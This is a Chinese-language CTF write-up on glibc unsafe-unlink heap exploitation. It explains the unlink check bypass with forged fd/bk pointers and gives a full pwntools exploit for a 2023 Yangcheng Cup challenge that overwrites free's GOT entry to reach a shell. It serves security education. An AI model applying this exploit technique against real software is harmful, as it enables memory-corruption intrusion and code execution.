unlink
在free时为了避免有过多的碎片化的堆块,glibc中会利用unlink把物理地址相近的被释放的堆合并成一个堆块(fastbin和tcache不会触发unlink)。
unlink合并时进行如下操作
1 2 3 4
| FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD
|
即让当前堆块所指向的前一个堆块的bk改为当前堆块所指向后一个堆块的地址。让当前堆块所指向后一个堆块的fd改为当前堆块所指向前一个堆块的地址
同时unlink会有一个检查
会检查当前chunk的前一个chunk的bk是否指向当前chunk,当前chunk的后一个chunk的fd是否指向当前chunk
1
| FD->bk == p || BK->fd == p
|
unsafe unlink利用
利用前提
- 堆块能进入unsortedbin
- 存在UAF
- 原码中利用位于全局变量(bss段和data段)的指针对申请的堆块进行管理
指向某一个chunk的指针为ptr,ptr位于全局变量中
改chunk的fd为ptr-0x18 检查时会检查ptr-0x18的bk,即(ptr-0x18)+0x18的位置为ptr
改chunk的bk为ptr-0x10 检查时会检查ptr-0x10的fd,即(ptr-0x10)+0x10的位置为ptr
如此一来就会绕过unlink时的检查
此时再触发unlink就会进行合并,此时ptr被更改为ptr-0x18
之后对ptr进行edit操作就直接控制了全局变量,不会控制堆
实例
[羊城杯 2023 决赛]Printf but not fmtstr | NSSCTF
add show edit free功能齐全,题目中给了后门函数
add限制了申请内存的大小,只能申请到unsortedbin中的堆块大小
同时有全局变量heap_addr来保存堆的内存。注意:malloc返回的地址是从data开始的而不是从chunk头开始,因此要想办法切割unsortedbin让指向chunkdata的位置变为chunk头
free存在UAF
首先申请3个0x510的chunk(c0,c1,c2),第三个是为了防止与topchunk合并
释放前两个后再申请0x520的堆块,此时原本指向第二个chunkdata的指针指向了chunk头,因为chunk少了0x10的大小,此时对原先的c1进行修改相当于修改了被切割后的chunk头
此时已经伪造了fd和bk
释放c2触发unlink,此时对c1操作就是对0x4040d0操作
可以改c0出的指针为got.free
再edit c0即edit got.free,改got.free为后门函数,再次调用free即getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import* from LibcSearcher import* from ctypes import* context(log_level='debug',arch='amd64',os='linux')
libc=ELF('/home/mrbw/Desktop/pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') libc=ELF('./libc.so.6') e=ELF('./vuln') r=process('./vuln')
s = lambda content : r.send(content) sl = lambda content : r.sendline(content) sa = lambda content,send : r.sendafter(content, send) sla = lambda content,send : r.sendlineafter(content, send) rc = lambda number : r.recv(number) ru = lambda content : r.recvuntil(content)
def add(idx,size): r.recvuntil(b'>') r.sendline(b'1') r.recvuntil(b'Index: ') r.sendline(str(idx).encode()) r.recvuntil(b'Size: ') r.sendline(str(size).encode()) def free(idx): r.recvuntil(b'>') r.sendline(b'2') r.recvuntil(b'Index: ') r.sendline(str(idx).encode()) def show(idx): r.recvuntil(b'>') r.sendline(b'4') r.recvuntil(b'Index: ') r.sendline(str(idx).encode()) def edit(idx,data): r.recvuntil(b'>') r.sendline(b'3') r.recvuntil(b'Index: ') r.sendline(str(idx).encode()) r.recvuntil(b'Content: ') r.send(data)
heap=0x4040e0+8 win = 0x4011D6
gdb.attach(r,'b *0x4016e7') for i in range(3): add(i,0x510)
free(0) ''' show(0) ru("Content: ") base=u64(rc(6).ljust(8,b'\x00'))-0x1f6cc0 log.success(hex(base)) ''' payload=p64(0)+p64(0x511)+p64(heap-0x18)+p64(heap-0x10) free(1)
add(3,0x520) edit(1,payload) free(2)
edit(1,p64(0)*2+p64(e.got["free"])) edit(0,p64(win)) free(3)
r.interactive()
|
不得不说lambda确实好用
还有一点,chunk2在释放完后必须进入topchunk,否则会报错
free(): corrupted unsorted chunks
可能是破坏了unsortedbin的双向链表